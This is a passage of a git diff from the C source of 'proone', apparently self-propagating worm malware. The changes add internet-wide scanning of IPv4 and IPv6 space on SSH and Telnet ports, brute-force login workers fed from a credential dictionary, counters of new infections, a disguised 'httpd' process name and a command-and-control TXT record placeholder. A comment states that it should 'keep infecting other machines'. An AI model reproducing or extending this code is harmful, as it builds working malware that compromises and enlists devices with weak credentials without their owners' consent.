param.target.arr[i].addr.ver = PRNE_IPV_4; + memcpy(param.target.arr[i].addr.addr, m, 4); + prne_netmask_from_cidr(param.target.arr[i].mask, m[4]); + m += 5; + } + /* reuse i */ + // load ipv6 targets + m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_T_IPV6, &dvl); + cnt = dvl / 17; + if (!prne_alloc_recon_param( + ¶m, + param.blist.cnt, + param.target.cnt + cnt, + param.ports.cnt)) + { + goto END; + } + for (; i < param.target.cnt; i += 1) { + prne_memzero(param.target.arr + i, sizeof(prne_recon_network_t)); + + param.target.arr[i].addr.ver = PRNE_IPV_6; + memcpy(param.target.arr[i].addr.addr, m, 16); + prne_netmask_from_cidr(param.target.arr[i].mask, m[16]); + m += 17; + } + + // load ipv4 blacklists + m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_BL_IPV4, &dvl); + cnt = dvl / 5; + if (!prne_alloc_recon_param( + ¶m, + cnt, + param.target.cnt, + param.ports.cnt)) + { + goto END; + } + for (i = 0; i < cnt; i += 1) { + prne_memzero(param.blist.arr + i, sizeof(prne_recon_network_t)); + + param.blist.arr[i].addr.ver = PRNE_IPV_4; + memcpy(param.blist.arr[i].addr.addr, m, 4); + prne_netmask_from_cidr(param.blist.arr[i].mask, m[4]); + m += 5; + } + /* reuse i */ + // load ipv6 blacklists + m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_BL_IPV6, &dvl); + cnt = dvl / 17; + if (!prne_alloc_recon_param( + ¶m, + param.blist.cnt + cnt, + param.target.cnt, + param.ports.cnt)) + { + goto END; + } + for (; i < param.blist.cnt; i += 1) { + prne_memzero(param.blist.arr + i, sizeof(prne_recon_network_t)); + + param.blist.arr[i].addr.ver = PRNE_IPV_6; + memcpy(param.blist.arr[i].addr.addr, m, 16); + prne_netmask_from_cidr(param.blist.arr[i].mask, m[16]); + m += 17; + } + + rcn = prne_alloc_recon(wkr_arr + wkr_cnt, &prne_g.ssl.rnd, ¶m); + if (rcn != NULL) { + param.ownership = false; + wkr_cnt += 1; + } + else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { + prne_dbgperr("prne_alloc_recon()"); + } + +END: // CATCH + prne_free_recon_param(¶m); +} + static void alloc_workers (void) { for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { prne_init_worker(wkr_arr + i); } alloc_resolv(); alloc_htbt(); + alloc_recon(); } static void free_workers (void) { @@ -235,7 +441,6 @@ static void free_workers (void) { prne_free_worker(wkr_arr + i); } prne_g.resolv = NULL; - prne_g.htbt = NULL; } static void seed_ssl_rnd (const bool use_bent) { @@ -265,44 +470,135 @@ static void seed_ssl_rnd (const bool use_bent) { } } +static pth_event_t build_bne_ev (void) { + pth_event_t ret = NULL, ev; + prne_worker_t *w; + + for (prne_llist_entry_t *e = bne_list.head; e != NULL; e = e->next) { + w = (prne_worker_t*)e->element; + ev = pth_event(PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, w->pth); + prne_assert(ev != NULL); + + if (ret == NULL) { + ret = ev; + } + else { + pth_event_concat(ret, ev, NULL); + } + } + + return ret; +} + +static void proc_bne_result (const prne_bne_result_t *r) { + if (prne_s_g != NULL) { + prne_s_g->bne_cnt += 1; + if (r->ny_instance) { + prne_s_g->infect_cnt += 1; + } + } +} + +static void reap_bne (void) { + pth_state_t st; + prne_worker_t *w; + pth_attr_t a; + const prne_bne_result_t *r; + + for (prne_llist_entry_t *e = bne_list.head; e != NULL;) { + w = (prne_worker_t*)e->element; + a = pth_attr_of(w->pth); + pth_attr_get(a, PTH_ATTR_STATE, &st); + pth_attr_destroy(a); + + if (st == PTH_STATE_DEAD) { + r = NULL; + pth_join(w->pth, (void**)&r); + w->pth = NULL; + + proc_bne_result(r); + + prne_free_worker(w); + prne_free(w); + e = prne_llist_erase(&bne_list, e); + } + else { + e = e->next; + } + } +} + /* proone_main() * Actual main where all dangerous stuff happens. * Most of long-lived variables are declared static so there's little stack -* allocation involvedsince stack allocation can cause page fault. +* allocation involved since stack allocation can cause page fault. */ static int proone_main (void) { static int caught_sig; + static pth_event_t root_ev = NULL; prne_assert(pth_init()); prne_assert(libssh2_init(0) == 0); prne_g.main_pth = pth_self(); - + { + // set priority of main pth to max + pth_attr_t attr = pth_attr_of(prne_g.main_pth); + pth_attr_set(attr, PTH_ATTR_PRIO, PTH_PRIO_MAX); + pth_attr_destroy(attr); + } seed_ssl_rnd(true); - alloc_workers(); + alloc_workers(); for (size_t i = 0; i < wkr_cnt; i += 1) { - wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx); + wkr_arr[i].pth = pth_spawn( + wkr_arr[i].attr, + wkr_arr[i].entry, + wkr_arr[i].ctx); prne_assert(wkr_arr[i].pth != NULL); } while (true) { - prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0); - if (sigismember(&ss_exit, caught_sig) && caught_sig != SIGINT) { + pth_event_free(root_ev, TRUE); + root_ev = build_bne_ev(); + + caught_sig = -1; + pth_sigwait_ev(&ss_all, &caught_sig, root_ev); + if (caught_sig >= 0 && + sigismember(&ss_exit, caught_sig) && + caught_sig != SIGINT) + { break; } + + reap_bne(); } sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); + // reap generic workers for (size_t i = 0; i < wkr_cnt; i += 1) { prne_fin_worker(wkr_arr + i); } for (size_t i = 0; i < wkr_cnt; i += 1) { prne_assert(pth_join(wkr_arr[i].pth, NULL)); - prne_free_worker(wkr_arr + i); + wkr_arr[i].pth = NULL; } - free_workers(); + // reap bne workers + for (prne_llist_entry_t *e = bne_list.head; e != NULL; e = e->next) { + prne_worker_t *w = (prne_worker_t*)e->element; + prne_bne_result_t *r = NULL; + + pth_join(w->pth, (void**)&r); + w->pth = NULL; + proc_bne_result(r); + + prne_free_worker(w); + prne_free(w); + } + prne_llist_clear(&bne_list); + + pth_event_free(root_ev, TRUE); pth_kill(); libssh2_exit(); @@ -421,6 +717,7 @@ static void init_proone (const char *self) { prne_assert(elf->e_ident[EI_CLASS] == EXPTD_CLASS); prne_assert(elf->e_ident[EI_DATA] == EXPTD_DATA); + prne_g.self_size = (size_t)file_size; prne_g.exec_size = elf->e_shoff + (elf->e_shentsize * elf->e_shnum); prne_g.exec_size = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT); prne_massert( @@ -999,6 +1296,75 @@ END: prne_free(args); } +static bool bne_cb_enter_dd (void *ctx) { + prne_dvault_get_bin(PRNE_DATA_KEY_CRED_DICT, NULL); + return true; +} + +static void bne_cb_exit_dd (void *ctx) { + prne_dvault_reset(); +} + +static char *bne_cb_exec_name (void *ctx) { + size_t dvl; + const char *dv_str; + char *ret; + + dv_str = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &dvl); + ret = prne_alloc_str(dvl); + if (ret != NULL) { + memcpy(ret, dv_str, dvl + 1); + } + + return ret; +} + +static void init_bne (void) { + static const prne_bne_vector_t VEC_ARR[] = { + PRNE_BNE_V_HTBT, + PRNE_BNE_V_BRUTE_SSH, + PRNE_BNE_V_BRUTE_TELNET + }; + size_t dvl; + const uint8_t *m; + + prne_init_cred_dict(&prne_g.cred_dict); + prne_init_llist(&bne_list); + prne_init_bne_param(&bne_param); + + m = prne_dvault_get_bin(PRNE_DATA_KEY_CRED_DICT, &dvl); + prne_dser_cred_dict(&prne_g.cred_dict, m, dvl); + bne_param.cred_dict = &prne_g.cred_dict; + prne_dvault_reset(); + + if (prne_g.c_ssl.ready) { + bne_param.htbt_ssl_conf = &prne_g.c_ssl.conf; + } + + bne_param.vector.arr = VEC_ARR; + bne_param.vector.cnt = sizeof(VEC_ARR)/sizeof(prne_bne_vector_t); + + bne_param.cb.exec_name = bne_cb_exec_name; + bne_param.cb.enter_dd = bne_cb_enter_dd; + bne_param.cb.exit_dd = bne_cb_exit_dd; + + bne_param.rcb.m_self = prne_g.m_exec; + bne_param.rcb.self_len = prne_g.self_size; + bne_param.rcb.exec_len = prne_g.exec_size; + bne_param.rcb.m_dv = prne_g.m_exec_dvault; + bne_param.rcb.dv_len = prne_g.dvault_size; + bne_param.rcb.ba = &prne_g.bin_archive; + bne_param.rcb.self = prne_host_arch; + + bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT; +} + +static void deinit_bne (void) { + prne_free_llist(&bne_list); + prne_free_cred_dict(&prne_g.cred_dict); + prne_free_bne_param(&bne_param); +} + int main (const int argc, const char **args) { static int exit_code; @@ -1044,6 +1410,7 @@ int main (const int argc, const char **args) { seed_ssl_rnd(false); load_ssl_conf(); init_ids(); + init_bne(); if (!init_shared_global()) { prne_dbgpf("*** Another instance detected.\n"); exit_code = PRNE_PROONE_EC_LOCK; @@ -1152,6 +1519,7 @@ int main (const int argc, const char **args) { prne_g.child_pid = 0; END: + deinit_bne(); prne_free_bin_archive(&prne_g.bin_archive); mbedtls_ssl_config_free(&prne_g.s_ssl.conf); diff --git a/src/proone.h b/src/proone.h index a3aac4d..073996b 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,7 +1,7 @@ #pragma once #include "pack.h" #include "resolv.h" -#include "htbt.h" +#include "cred_dict.h" #include <stdint.h> #include <stdbool.h> @@ -14,6 +14,8 @@ #include <mbedtls/ctr_drbg.h> +#define PROONE_BNE_MAX_CNT 128 + struct prne_global { // TODO: tidy init code when finalised struct timespec parent_start; struct timespec child_start; @@ -24,12 +26,12 @@ struct prne_global { // TODO: tidy init code when finalised * Could be NULL. Just keep infecting other machines without it. */ prne_resolv_t *resolv; - prne_htbt_t *htbt; pid_t parent_pid; pid_t child_pid; uint8_t *m_dvault; const uint8_t *m_exec; size_t exec_size; + size_t self_size; const uint8_t *m_exec_dvault; int blackhole[2]; int shm_fd; @@ -37,6 +39,7 @@ struct prne_global { // TODO: tidy init code when finalised bool is_child; prne_bin_archive_t bin_archive; + prne_cred_dict_t cred_dict; struct { mbedtls_x509_crt ca; diff --git a/src/proone_conf.skel/config.h b/src/proone_conf.skel/config.h index c70c795..2e9b39e 100644 --- a/src/proone_conf.skel/config.h +++ b/src/proone_conf.skel/config.h @@ -1 +1,65 @@ -#define PRNE_CNC_TXT_REC "CHANGE.ME.test" +#pragma once +#define PRNE_CNC_TXT_REC "CHANGE.ME.test" +#define PRNE_BNE_LOGIN_ATTEMPT 0 +#define PRNE_BNE_EXEC_NAME "httpd" + +#define PRNE_RCN_PORTS {\ + /* 22 */ 0x00, 0x16,\ + /* 23 */ 0x00, 0x17,\ + /* 2323 */ 0x09, 0x13\ +} + +// Array of 5 byte elements: 4 byte IPv4 address followed by cidr +#define PRNE_RCN_T_IPV4 {\ + /* 0.0.0.0/0 */ 0, 0, 0, 0, 0\ +} + +#define PRNE_RCN_BL_IPV4 {\ + /* current net */ 0, 0, 0, 0, 8,\ + /* loopback */ 127,0, 0, 0, 8,\ + /* link-local */ 169,254,0, 0, 16,\ + /* multicast */ 224,0, 0, 0, 4\ +} + +// Array of 17 byte elements: 16 byte IPv6 address followed by cidr +#define PRNE_RCN_T_IPV6 {\ + /* ::/0 */\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0\ +} + +#define PRNE_RCN_BL_IPV6 {\ + /* unknown */\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 128,\ + /* loopback */\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,\ + 128,\ + /* IPv4 mapped */\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00,\ + 96,\ + /* IPv4 translated */\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 96,\ + /* IPv4/IPv6 translation */\ + 0x00, 0x64, 0xff, 0x9b, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 96,\ + /* routing discard */\ + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 64,\ + /* link-local */\ + 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 10,\ + /* multicast */\ + 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\ + 8\ +} diff --git a/src/proone_conf.skel/cred_dict.txt b/src/proone_conf.skel/cred_dict.txt new file mode 100644 index 0000000..28a6c30 --- /dev/null +++ b/src/proone_conf.skel/cred_dict.txt @@ -0,0 +1 @@ +# Sample:/src/data/cred_dict.sample.txt diff --git a/src/protocol.c b/src/protocol.c index 6045f5f..510864d 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -59,6 +59,21 @@ bool prne_arch_inrange (const prne_arch_t x) { return PRNE_ARCH_NONE < x && x < NB_PRNE_ARCH; } +bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b) { + size_t l; + + if (a->ver != b->ver) { + return false; + } + switch (a->ver) { + case PRNE_IPV_4: l = 4; break; + case PRNE_IPV_6: l = 16; break; + default: l = 0; + } + + return memcmp(a->addr, b->addr, l) == 0; +} + void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) { memcpy(&out->sin_addr, ep->addr.addr, 4); out->sin_family = AF_INET; diff --git a/src/protocol.h b/src/protocol.h index 6813729..d89b9e3 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -49,8 +49,8 @@ typedef enum { PRNE_IPV_6 } prne_ipv_t; -_Static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4"); -_Static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16"); +prne_static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4"); +prne_static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16"); struct prne_ip_addr { uint8_t addr[16]; prne_ipv_t ver; @@ -292,6 +292,7 @@ const char *prne_arch_tostr (const prne_arch_t x); prne_arch_t prne_arch_fstr (const char *str); bool prne_arch_inrange (const prne_arch_t x); +bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b); void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out); void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out); bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out); @@ -5,19 +5,24 @@ void prne_init_worker (prne_worker_t *w) { - w->ctx = NULL; - w->entry = NULL; - w->fin = NULL; - w->free_ctx = NULL; - w->pth = NULL; + prne_memzero(w, sizeof(prne_worker_t)); } void prne_free_worker (prne_worker_t *w) { + if (w == NULL) { + return; + } + if (w->ctx != NULL) { prne_assert(w->free_ctx != NULL); w->free_ctx(w->ctx); - w->ctx = NULL; } + if (w->pth != NULL) { + pth_abort(w->pth); + } + pth_attr_destroy(w->attr); + + prne_memzero(w, sizeof(prne_worker_t)); } void prne_fin_worker (prne_worker_t *w) { @@ -10,6 +10,7 @@ struct prne_worker { void (*fin)(void*); void (*free_ctx)(void*); pth_t pth; + pth_attr_t attr; }; typedef struct prne_worker prne_worker_t; diff --git a/src/recon.c b/src/recon.c index 4de734c..128fb94 100644 --- a/src/recon.c +++ b/src/recon.c @@ -529,7 +529,7 @@ static void rcn_main_recv_syn_tail ( ntohl(th->ack_seq) == exp_ack && th->ack && th->syn && !th->rst && !th->fin) { - ctx->param.evt_cb(ep); + ctx->param.evt_cb(ctx->param.cb_ctx, ep); } } diff --git a/src/recon.h b/src/recon.h index 0a00b6f..99b8d58 100644 --- a/src/recon.h +++ b/src/recon.h @@ -8,7 +8,7 @@ typedef struct prne_recon prne_recon_t; typedef struct prne_recon_param prne_recon_param_t; typedef struct prne_recon_network prne_recon_network_t; -typedef void(*prne_recon_evt_ft)(const prne_net_endpoint_t *ep); +typedef void(*prne_recon_evt_ft)(void *ctx, const prne_net_endpoint_t *ep); struct prne_recon_network { prne_ip_addr_t addr; @@ -29,6 +29,7 @@ struct prne_recon_param { size_t cnt; } ports; prne_recon_evt_ft evt_cb; + void *cb_ctx; bool ownership; }; diff --git a/src/resolv.c b/src/resolv.c index 48d3e94..cc4d30c 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -27,7 +27,7 @@ #include <mbedtls/ssl.h> #include <mbedtls/ctr_drbg.h> -_Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t"); +prne_static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t"); #define OK_OR_ERR(v) if (v < 0) { goto ERR; } |